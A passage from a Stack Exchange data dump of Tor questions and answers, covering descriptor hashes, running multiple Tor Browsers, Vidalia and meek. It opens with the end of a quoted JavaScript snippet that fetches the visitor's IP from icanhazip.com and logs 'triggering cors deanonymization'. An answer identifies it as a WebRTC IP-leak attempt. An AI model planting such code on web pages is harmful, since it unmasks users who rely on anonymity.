{&#xA;cb(xhr.responseText.trim());&#xA;}&#xA;};&#xA;xhr.open(&quot;GET&quot;, &quot;https://icanhazip.com/&quot;, true);&#xA;log(&quot;[*] triggering cors deanonymization...&quot;);&#xA;xhr.send(null);&#xA;})(learn);&#xA;} catch(e) {}&#xA;&#xA;getIPs(learn);&#xA;})();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6902" LastEditorDisplayName="user6671" LastEditDate="2015-03-11T08:08:34.123" LastActivityDate="2015-03-11T08:08:34.123" Title="Is this JavaScript code dangerous?" Tags="|onion-services|javascript|information-leaks|ip-address|ip-address-leak|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6393" PostTypeId="2" ParentId="6387" CreationDate="2015-03-10T23:50:03.167" Score="2" Body="&lt;p&gt;Checkout the source and do whatever modification you want. It's free (as in freedom) and open source.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But... Vidalia is dead and you shouldn't be using it and probably don't want be wasting time on that, unless you really wanna revamp and maintain the new version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Stick with the Tor Browser.&lt;/p&gt;&#xA;" OwnerUserId="107" LastActivityDate="2015-03-10T23:50:03.167" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6394" PostTypeId="2" ParentId="4357" CreationDate="2015-03-11T00:27:46.250" Score="0" Body="&lt;p&gt;Yes, as @meee mentioned, Vidalia hasn't been maintained for many years now and is officially dead. And it's not anywhere on the roadmap to come back to life again, so better stick with the latest Tor Browser. If you want to try the sexy new features, you need to get the Alpha version of the Tor Browser.&lt;/p&gt;&#xA;" OwnerUserId="107" LastActivityDate="2015-03-11T00:27:46.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6396" PostTypeId="2" ParentId="3898" CreationDate="2015-03-11T02:34:50.230" Score="9" Body="&lt;p&gt;Some people like &lt;a href=&quot;http://onion.direct&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://onion.direct&lt;/a&gt; .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However I am a fan of &lt;a href=&quot;http://onion.link&quot; rel=&quot;nofollow noreferrer&quot;&gt;onion.link&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do know at least in terms of size of GOOG index, the results come out to:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;onion.direct | 21k&lt;/li&gt;&#xA;&lt;li&gt;onion.cab    | 232k&lt;/li&gt;&#xA;&lt;li&gt;onion.link   | 1060k&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Both onion.link as well as onion.cab do caching.  AFAIK the other various t2w gateways do not.&lt;/p&gt;&#xA;" OwnerUserId="3242" LastEditorUserId="3242" LastEditDate="2017-02-15T06:26:59.940" LastActivityDate="2017-02-15T06:26:59.940" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6397" PostTypeId="2" ParentId="6392" CreationDate="2015-03-11T03:50:36.907" Score="2" Body="&lt;p&gt;It looks like it attempts to learn your IP address via a WebRTC connection. That this is possible was &lt;a href=&quot;http://torrentfreak.com/huge-security-flaw-leaks-vpn-users-real-ip-addresses-150130/&quot; rel=&quot;nofollow&quot;&gt;reported&lt;/a&gt; a while ago, but it never affected TorBrowser users as WebRTC is disabled in TorBrowser. So, the js is not dangerous if you use Tor in the recommended way. If you don't, it is rather likely it'll leak your real IP address.&lt;/p&gt;&#xA;" OwnerUserId="6883" LastActivityDate="2015-03-11T03:50:36.907" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6398" PostTypeId="1" AcceptedAnswerId="6399" CreationDate="2015-03-11T05:25:37.767" Score="4" ViewCount="751" Body="&lt;p&gt;I noticed a paragraph in &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/dir-spec.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;dir-spec.txt&lt;/a&gt; as follow:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;To address these, we extended the directory protocol so that&lt;br&gt;&#xA;  authorities now published signed &quot;network status&quot; documents.  Each&lt;br&gt;&#xA;  network status listed, for every router in the network: a &lt;strong&gt;hash&lt;/strong&gt; of&#xA;  its    &lt;strong&gt;identity key&lt;/strong&gt;, a &lt;strong&gt;hash of its most recent descriptor&lt;/strong&gt;, and&#xA;  a summary of    what the authority believed about its status.  Clients&#xA;  would download    the authorities' network status documents in turn,&#xA;  and believe    statements about routers iff they were attested to by&#xA;  more than half of    the authorities.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;Instead of downloading all server descriptors at once, clients&lt;br&gt;&#xA;  downloaded only the descriptors that they did not have.&lt;/strong&gt;  Descriptors&#xA;  were indexed by their &lt;strong&gt;digests&lt;/strong&gt;, in order to prevent malicious&#xA;  caches    from giving different versions of a server descriptor to&#xA;  different    clients.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So could anyone please explain me how Tor clients check if a descriptor is there in their recent network-status-document?&#xA;If the answer is basing on &quot;&lt;strong&gt;what I have highlighted&lt;/strong&gt;&quot;, could anyone please give me a hint where I can have a look at those &quot;&lt;strong&gt;variables&lt;/strong&gt;&quot;, given that the recent version of Tor only fetchs micro-descriptors, not the whole server-descriptors.&#xA;Thank you so much!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;____Edit______&#xA;&lt;img src=&quot;https://i.stack.imgur.com/iVTdr.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;So from this Snapshot (please copy URL of the image and open it in new-tab for a better view), I compared two cached-microdesc-consensuses at two different time, and the differences are highlighted by the plugin of Notepad++. &#xA;As you can see the &lt;strong&gt;&quot;identity key hash&quot;&lt;/strong&gt; and &lt;strong&gt;the hash of its most recent descriptor&lt;/strong&gt; did not change. So can you please tell me a little bit more details of how a client update microdesc-consensuses? &#xA;Say, &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;will they send the &lt;strong&gt;&quot;identity key hash&quot;&lt;/strong&gt; OR/AND &lt;strong&gt;the hash of its most recent descriptor&lt;/strong&gt; of all descriptors to Directory Mirrors, &lt;/li&gt;&#xA;&lt;li&gt;then the mirrors will check if any value of those descriptors has changed&lt;/li&gt;&#xA;&lt;li&gt;next,the mirrors reply to client by sending only those descriptors that have been changed?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="5202" LastEditorUserId="5202" LastEditDate="2015-03-12T10:50:52.550" LastActivityDate="2015-03-12T10:50:52.550" Title="How do clients know if a descriptor is new/changed/or disappeared from the Tor network?" Tags="|client|consensus|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6399" PostTypeId="2" ParentId="6398" CreationDate="2015-03-11T05:59:23.587" Score="7" Body="&lt;p&gt;Tor maintains a descriptor store which keeps all the descriptors it knows about. New descriptors enter the store after being downloaded, old descriptors get expired when they haven't been referenced and are outdated. The client regularly fetches a new consensus document and fetches all the descriptors that it doesn't have and that are referenced in the consensus. This process is the same for microdescriptors or regular descriptors - there is a different type of consensus document for each, either referencing microdescriptors or regular descriptors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;edit&lt;/strong&gt;&lt;br&gt;&#xA;As for the terms that you have asked about, let's use an example from a microdescriptor consensus:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;r comptor4 AAhWy/I+9s3Ndx9O/wOEJEcL7G0 2015-03-11 02:52:31 106.185.37.52 443 80&lt;/strong&gt;&lt;br&gt;&#xA;The &quot;AAhWy/I+9s3Ndx9O/wOEJEcL7G0&quot; is the identity key hash.&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;m kJecYrKO9FCZz7vElqiTmO2n6qCBZ3+C3/LHRtcdIME&lt;/strong&gt;&lt;br&gt;&#xA;The &quot;kJecYrKO9FCZz7vElqiTmO2n6qCBZ3+C3/LHRtcdIME&quot; is the hash of its most recent descriptor&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;s Fast HSDir Running V2Dir Valid&lt;/strong&gt;&lt;br&gt;&#xA;The things after the s are the flags for this relay.&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;v Tor 0.2.4.24&lt;/strong&gt;&lt;br&gt;&#xA;The Tor version&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;w Bandwidth=20 Unmeasured=1&lt;/strong&gt;&lt;br&gt;&#xA;How fast this relay is&lt;br&gt;&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The identity key is not included in the microdescriptor consensus, because that would be redundant. Hashing it makes it shorter and is sufficient for our purposes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To calculate the hash of the most recent descriptor, the entire microdescriptor that was calculated for the relay is hashed, and that hash value stored into the consensus to allow a reference to it. That way, the client can check if it knows about the microdescriptor because it memorizes the list of microdescriptors it knows about as well as their hashes.&lt;/p&gt;&#xA;" OwnerUserId="6883" LastEditorUserId="6883" LastEditDate="2015-03-11T07:12:54.217" LastActivityDate="2015-03-11T07:12:54.217" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="6400" PostTypeId="2" ParentId="5981" CreationDate="2015-03-11T06:01:30.847" Score="1" Body="&lt;p&gt;This looks like a &lt;a href=&quot;https://bugzilla.mozilla.org/show_bug.cgi?id=672671&quot; rel=&quot;nofollow&quot;&gt;Firefox bug&lt;/a&gt;, nothing specific to Tor Browser.&lt;/p&gt;&#xA;" OwnerUserId="6883" LastActivityDate="2015-03-11T06:01:30.847" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6401" PostTypeId="2" ParentId="2006" CreationDate="2015-03-11T06:03:18.603" Score="15" Body="&lt;p&gt;This method launches multiple Tor instances, each with its own SocksPort and ControlPort. This ensures that the Tor Browsers are fully functional, portable, and self-contained. However, someone should confirm that I haven't missed anything that could compromise TBs security.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;strong&gt;Optional:&lt;/strong&gt; Download, verify, and install Tor Browser. &lt;/li&gt;&#xA;&lt;li&gt;Make copies of the Tor Browser folder with different names (eg. Number them)&lt;/li&gt;&#xA;&lt;li&gt;Launch Tor Browser&lt;/li&gt;&#xA;&lt;li&gt;Edit about:config&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Modify &lt;code&gt;extensions.torlauncher.control_port&lt;/code&gt; to a new ControlPort (eg. 9052 for Tor Browser 2)&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Edit TorButton Preferences (without the GUI [removed in 4.5 update])&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Modify &lt;code&gt;extensions.torbutton.custom.socks_port&lt;/code&gt; (on newer versions this is &lt;code&gt;network.proxy.socks_port&lt;/code&gt;) to a new port (eg. 9152 for Tor Browser 2)&lt;/li&gt;&#xA;&lt;li&gt;Modify &lt;code&gt;extensions.torbutton.custom.socks_host&lt;/code&gt; (on newer versions this is &lt;code&gt;network.proxy.socks&lt;/code&gt;) to 127.0.0.1&lt;/li&gt;&#xA;&lt;li&gt;Modify &lt;code&gt;extensions.torbutton.proxies_applied&lt;/code&gt; to false (doesn't exist on newer versions)&lt;/li&gt;&#xA;&lt;li&gt;Modify &lt;code&gt;extensions.torbutton.use_privoxy&lt;/code&gt; to false  (doesn't exist on newer versions)&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Close Tor Browser&lt;/li&gt;&#xA;&lt;li&gt;Edit torrc-defaults in &lt;code&gt;Browser\TorBrowser\Data\Tor&lt;/code&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Change &lt;code&gt;SocksPort&lt;/code&gt; to what you set in step 5&lt;/li&gt;&#xA;&lt;li&gt;Change &lt;code&gt;ControlPort&lt;/code&gt; to what you set in step 4&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Launch Tor Browser, and check that everything was configured correctly&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Homepage (about:tor) should say &quot;Congratulations!&quot;&lt;/li&gt;&#xA;&lt;li&gt;Click &quot;Test Tor Network Settings&quot;. &lt;a href=&quot;https://check.torproject.org/&quot; rel=&quot;noreferrer&quot;&gt;check.torproject.org&lt;/a&gt; should say &quot;Congratulations.&quot;&lt;/li&gt;&#xA;&lt;li&gt;Go to &lt;a href=&quot;http://ip-check.info/&quot; rel=&quot;noreferrer&quot;&gt;ip-check.info&lt;/a&gt;. Test should be all green and orange except Tab name. Authentication should be &quot;protected&quot;. &lt;strong&gt;Note:&lt;/strong&gt; It may not say that you are using Tor, but this is incorrect.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Optional:&lt;/strong&gt; Go to &lt;a href=&quot;http://ipleak.net/&quot; rel=&quot;noreferrer&quot;&gt;ipleak.net&lt;/a&gt; for IP, DNS, Geolocation, Browser and other info&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Optional:&lt;/strong&gt; Test your browser fingerprint at &lt;a href=&quot;https://panopticlick.eff.org/&quot; rel=&quot;noreferrer&quot;&gt;panopticlick.eff.org&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Optional:&lt;/strong&gt; Edit &lt;a href=&quot;http://about:config&quot; rel=&quot;noreferrer&quot;&gt;about:config&lt;/a&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Type “banned&quot; and modify the ports of the two entries. Add all the new SocksPort and ControlPort to the list (Copy the ports from other Tor Browsers)&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Optional:&lt;/strong&gt; Turn on “Forbid Scripts Globally” in NoScript for further security and privacy (also reduces browser fingerprint)&lt;/li&gt;&#xA;&lt;li&gt;Repeat 3-10 for each Tor Browser folder&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Alternatively, this might be possible with a single Tor instance as the SocksPort and ControlPort. This would require the use of the control_auth_cookie (CookieAuthentication) or HashedControlPassword, and about:config extensions.torlauncher.start_tor=false. However, the browsers would not be self-contained and portable, as they would require a process that isn’t in their own directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Inspired by mirimir's answer which seemed to compromise TB's security.&lt;/p&gt;&#xA;" OwnerUserId="6904" LastEditorUserId="88" LastEditDate="2017-04-22T20:18:49.060" LastActivityDate="2017-04-22T20:18:49.060" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6402" PostTypeId="2" ParentId="496" CreationDate="2015-03-11T06:52:09.610" Score="1" Body="&lt;p&gt;There is no way to use the transparent proxying features with modern OS X. Apple removed ipfw (which is what natdport would use), and doesn't provide headers for pf so Tor can't reliably use it and disables the feature while building.&lt;/p&gt;&#xA;" OwnerUserId="6883" LastActivityDate="2015-03-11T06:52:09.610" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6403" PostTypeId="2" ParentId="4876" CreationDate="2015-03-11T07:20:24.787" Score="1" Body="&lt;p&gt;It was an issue with Tails' update mechanism that has since been fixed. It shouldn't have happened since then, if it did please let the Tails developers &lt;a href=&quot;https://tails.boum.org/doc/first_steps/bug_reporting/index.en.html&quot; rel=&quot;nofollow&quot;&gt;know&lt;/a&gt; as soon as possible&lt;/p&gt;&#xA;" OwnerUserId="6883" LastActivityDate="2015-03-11T07:20:24.787" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6404" PostTypeId="2" ParentId="6235" CreationDate="2015-03-11T07:26:01.717" Score="2" Body="&lt;p&gt;I answered this &lt;a href=&quot;https://tor.stackexchange.com/a/6401/6904&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This method launches multiple Tor instances, each with its own SocksPort and ControlPort. This ensures that the Tor Browsers are fully functional, portable, and self-contained. However, someone should confirm that I haven't missed anything that could compromise TBs security.&lt;/p&gt;&#xA;  &#xA;  &lt;ol&gt;&#xA;  &lt;li&gt;&lt;strong&gt;Optional:&lt;/strong&gt; Download, verify, and install Tor Browser. &lt;/li&gt;&#xA;  &lt;li&gt;Make copies of the Tor Browser folder with different names (eg. Number them)&lt;/li&gt;&#xA;  &lt;li&gt;Launch Tor Browser&lt;/li&gt;&#xA;  &lt;li&gt;Edit about:config&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;Modify extensions.torlauncher.control_port to a new ControlPort (eg. 9052 for Tor Browser 2)&lt;/li&gt;&#xA;  &lt;/ul&gt;&lt;/li&gt;&#xA;  &lt;li&gt;Edit Torbutton Preferences&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;Use custom proxy settings, and change the Port to SocksPort (eg. 9152 for Tor Browser 2)&lt;/li&gt;&#xA;  &lt;/ul&gt;&lt;/li&gt;&#xA;  &lt;li&gt;Close Tor Browser&lt;/li&gt;&#xA;  &lt;li&gt;Edit torrc-defaults in \TorBrowser\Data\Tor&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;Change SocksPort to what you set in step 5&lt;/li&gt;&#xA;  &lt;li&gt;Change ControlPort to what you set in step 4&lt;/li&gt;&#xA;  &lt;/ul&gt;&lt;/li&gt;&#xA;  &lt;li&gt;Launch Tor Browser, and check that everything was configured correctly&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;Homepage (about:tor) should say &quot;Congratulations!&quot;&lt;/li&gt;&#xA;  &lt;li&gt;Click &quot;Test Tor Network Settings&quot;. check.torproject.org should say &quot;Congratulations.&quot;&lt;/li&gt;&#xA;  &lt;li&gt;Go to &lt;a href=&quot;https://tor.stackexchange.com/a/6401/6904&quot;&gt;ip-check.info&lt;/a&gt;. Test should be all green and orange except Tab name. Authentication should be &quot;protected&quot;. &lt;strong&gt;Note:&lt;/strong&gt; It may not say that you are using Tor, but this is incorrect.&lt;/li&gt;&#xA;  &lt;li&gt;&lt;strong&gt;Optional:&lt;/strong&gt; Go to ipleak.net for IP, DNS, Geolocation, Browser and other info&lt;/li&gt;&#xA;  &lt;li&gt;&lt;strong&gt;Optional:&lt;/strong&gt; Test your browser fingerprint at &lt;a href=&quot;https://panopticlick.eff.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;panopticlick.eff.org&lt;/a&gt;&lt;/li&gt;&#xA;  &lt;/ul&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;strong&gt;Optional:&lt;/strong&gt; Edit about:config&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;Type “banned&quot; and modify the ports of the two entries. Add all the new SocksPort and ControlPort to the list (Copy the ports from other Tor Browsers)&lt;/li&gt;&#xA;  &lt;/ul&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;strong&gt;Optional:&lt;/strong&gt; Turn on “Forbid Scripts Globally” in NoScript for further security and privacy (also reduces browser fingerprint)&lt;/li&gt;&#xA;  &lt;li&gt;Repeat 3-10 for each Tor Browser folder&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;  &#xA;  &lt;p&gt;Alternatively, this might be possible with a single Tor instance as the SocksPort and ControlPort. This would require the use of the control_auth_cookie (CookieAuthentication) or HashedControlPassword, and about:config extensions.torlauncher.start_tor=false. However, the browsers would not be self-contained and portable, as they would require a process that isn’t in their own directory.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Inspired by mirimir's answer which seemed to compromise TB's security.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="6904" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2015-03-11T07:34:16.563" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6405" PostTypeId="2" ParentId="6207" CreationDate="2015-03-11T07:29:41.507" Score="2" Body="&lt;p&gt;I answered this &lt;a href=&quot;https://tor.stackexchange.com/a/6401/6904&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This method launches multiple Tor instances, each with its own SocksPort and ControlPort. This ensures that the Tor Browsers are fully functional, portable, and self-contained. However, someone should confirm that I haven't missed anything that could compromise TBs security.&lt;/p&gt;&#xA;  &#xA;  &lt;ol&gt;&#xA;  &lt;li&gt;&lt;strong&gt;Optional:&lt;/strong&gt; Download, verify, and install Tor Browser. &lt;/li&gt;&#xA;  &lt;li&gt;Make copies of the Tor Browser folder with different names (eg. Number them)&lt;/li&gt;&#xA;  &lt;li&gt;Launch Tor Browser&lt;/li&gt;&#xA;  &lt;li&gt;Edit about:config&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;Modify extensions.torlauncher.control_port to a new ControlPort (eg. 9052 for Tor Browser 2)&lt;/li&gt;&#xA;  &lt;/ul&gt;&lt;/li&gt;&#xA;  &lt;li&gt;Edit Torbutton Preferences&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;Use custom proxy settings, and change the Port to SocksPort (eg. 9152 for Tor Browser 2)&lt;/li&gt;&#xA;  &lt;/ul&gt;&lt;/li&gt;&#xA;  &lt;li&gt;Close Tor Browser&lt;/li&gt;&#xA;  &lt;li&gt;Edit torrc-defaults in \TorBrowser\Data\Tor&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;Change SocksPort to what you set in step 5&lt;/li&gt;&#xA;  &lt;li&gt;Change ControlPort to what you set in step 4&lt;/li&gt;&#xA;  &lt;/ul&gt;&lt;/li&gt;&#xA;  &lt;li&gt;Launch Tor Browser, and check that everything was configured correctly&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;Homepage (about:tor) should say &quot;Congratulations!&quot;&lt;/li&gt;&#xA;  &lt;li&gt;Click &quot;Test Tor Network Settings&quot;. check.torproject.org should say &quot;Congratulations.&quot;&lt;/li&gt;&#xA;  &lt;li&gt;Go to &lt;a href=&quot;https://tor.stackexchange.com/a/6401/6904&quot;&gt;ip-check.info&lt;/a&gt;. Test should be all green and orange except Tab name. Authentication should be &quot;protected&quot;. &lt;strong&gt;Note:&lt;/strong&gt; It may not say that you are using Tor, but this is incorrect.&lt;/li&gt;&#xA;  &lt;li&gt;&lt;strong&gt;Optional:&lt;/strong&gt; Go to ipleak.net for IP, DNS, Geolocation, Browser and other info&lt;/li&gt;&#xA;  &lt;li&gt;&lt;strong&gt;Optional:&lt;/strong&gt; Test your browser fingerprint at &lt;a href=&quot;https://panopticlick.eff.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;panopticlick.eff.org&lt;/a&gt;&lt;/li&gt;&#xA;  &lt;/ul&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;strong&gt;Optional:&lt;/strong&gt; Edit about:config&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;Type “banned&quot; and modify the ports of the two entries. Add all the new SocksPort and ControlPort to the list (Copy the ports from other Tor Browsers)&lt;/li&gt;&#xA;  &lt;/ul&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;strong&gt;Optional:&lt;/strong&gt; Turn on “Forbid Scripts Globally” in NoScript for further security and privacy (also reduces browser fingerprint)&lt;/li&gt;&#xA;  &lt;li&gt;Repeat 3-10 for each Tor Browser folder&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;  &#xA;  &lt;p&gt;Alternatively, this might be possible with a single Tor instance as the SocksPort and ControlPort. This would require the use of the control_auth_cookie (CookieAuthentication) or HashedControlPassword, and about:config extensions.torlauncher.start_tor=false. However, the browsers would not be self-contained and portable, as they would require a process that isn’t in their own directory.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Inspired by mirimir's answer which seemed to compromise TB's security.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="6904" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2015-03-11T07:36:56.943" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6406" PostTypeId="2" ParentId="4725" CreationDate="2015-03-11T08:29:05.940" Score="0" Body="&lt;p&gt;To run multiple Tor Browsers at once, see &lt;a href=&quot;https://tor.stackexchange.com/a/6401/6904&quot;&gt;this&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This method launches multiple Tor instances, each with its own SocksPort and ControlPort. This ensures that the Tor Browsers are fully functional, portable, and self-contained. However, someone should confirm that I haven't missed anything that could compromise TBs security.&lt;/p&gt;&#xA;  &#xA;  &lt;ol&gt;&#xA;  &lt;li&gt;&lt;strong&gt;Optional:&lt;/strong&gt; Download, verify, and install Tor Browser. &lt;/li&gt;&#xA;  &lt;li&gt;Make copies of the Tor Browser folder with different names (eg. Number them)&lt;/li&gt;&#xA;  &lt;li&gt;Launch Tor Browser&lt;/li&gt;&#xA;  &lt;li&gt;Edit about:config&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;Modify extensions.torlauncher.control_port to a new ControlPort (eg. 9052 for Tor Browser 2)&lt;/li&gt;&#xA;  &lt;/ul&gt;&lt;/li&gt;&#xA;  &lt;li&gt;Edit Torbutton Preferences&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;Use custom proxy settings, and change the Port to SocksPort (eg. 9152 for Tor Browser 2)&lt;/li&gt;&#xA;  &lt;/ul&gt;&lt;/li&gt;&#xA;  &lt;li&gt;Close Tor Browser&lt;/li&gt;&#xA;  &lt;li&gt;Edit torrc-defaults in \TorBrowser\Data\Tor&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;Change SocksPort to what you set in step 5&lt;/li&gt;&#xA;  &lt;li&gt;Change ControlPort to what you set in step 4&lt;/li&gt;&#xA;  &lt;/ul&gt;&lt;/li&gt;&#xA;  &lt;li&gt;Launch Tor Browser, and check that everything was configured correctly&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;Homepage (about:tor) should say &quot;Congratulations!&quot;&lt;/li&gt;&#xA;  &lt;li&gt;Click &quot;Test Tor Network Settings&quot;. check.torproject.org should say &quot;Congratulations.&quot;&lt;/li&gt;&#xA;  &lt;li&gt;Go to &lt;a href=&quot;https://tor.stackexchange.com/a/6401/6904&quot;&gt;ip-check.info&lt;/a&gt;. Test should be all green and orange except Tab name. Authentication should be &quot;protected&quot;. &lt;strong&gt;Note:&lt;/strong&gt; It may not say that you are using Tor, but this is incorrect.&lt;/li&gt;&#xA;  &lt;li&gt;&lt;strong&gt;Optional:&lt;/strong&gt; Go to ipleak.net for IP, DNS, Geolocation, Browser and other info&lt;/li&gt;&#xA;  &lt;li&gt;&lt;strong&gt;Optional:&lt;/strong&gt; Test your browser fingerprint at &lt;a href=&quot;https://panopticlick.eff.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;panopticlick.eff.org&lt;/a&gt;&lt;/li&gt;&#xA;  &lt;/ul&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;strong&gt;Optional:&lt;/strong&gt; Edit about:config&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;Type “banned&quot; and modify the ports of the two entries. Add all the new SocksPort and ControlPort to the list (Copy the ports from other Tor Browsers)&lt;/li&gt;&#xA;  &lt;/ul&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;strong&gt;Optional:&lt;/strong&gt; Turn on “Forbid Scripts Globally” in NoScript for further security and privacy (also reduces browser fingerprint)&lt;/li&gt;&#xA;  &lt;li&gt;Repeat 3-10 for each Tor Browser folder&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;  &#xA;  &lt;p&gt;Alternatively, this might be possible with a single Tor instance as the SocksPort and ControlPort. This would require the use of the control_auth_cookie (CookieAuthentication) or HashedControlPassword, and about:config extensions.torlauncher.start_tor=false. However, the browsers would not be self-contained and portable, as they would require a process that isn’t in their own directory.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Inspired by mirimir's answer which seemed to compromise TB's security.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="6904" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2015-03-11T08:29:05.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6407" PostTypeId="2" ParentId="3274" CreationDate="2015-03-11T15:40:53.293" Score="1" Body="&lt;p&gt;An oversight. You should &lt;a href=&quot;https://tails.boum.org/doc/first_steps/bug_reporting/index.en.html&quot; rel=&quot;nofollow&quot;&gt;file&lt;/a&gt; such issues as bugs rather than assuming there could be a sane reason for it :)&lt;/p&gt;&#xA;" OwnerUserId="6883" LastActivityDate="2015-03-11T15:40:53.293" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6408" PostTypeId="2" ParentId="4727" CreationDate="2015-03-11T17:37:01.560" Score="2" Body="&lt;p&gt;&lt;a href=&quot;https://blog.torproject.org/blog/how-use-%E2%80%9Cmeek%E2%80%9D-pluggable-transport&quot; rel=&quot;nofollow&quot;&gt;Meek&lt;/a&gt; should work, it doesn't use regular bridges but domain fronting which should get around your proxy I think.&lt;/p&gt;&#xA;" OwnerUserId="6883" LastActivityDate="2015-03-11T17:37:01.560" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
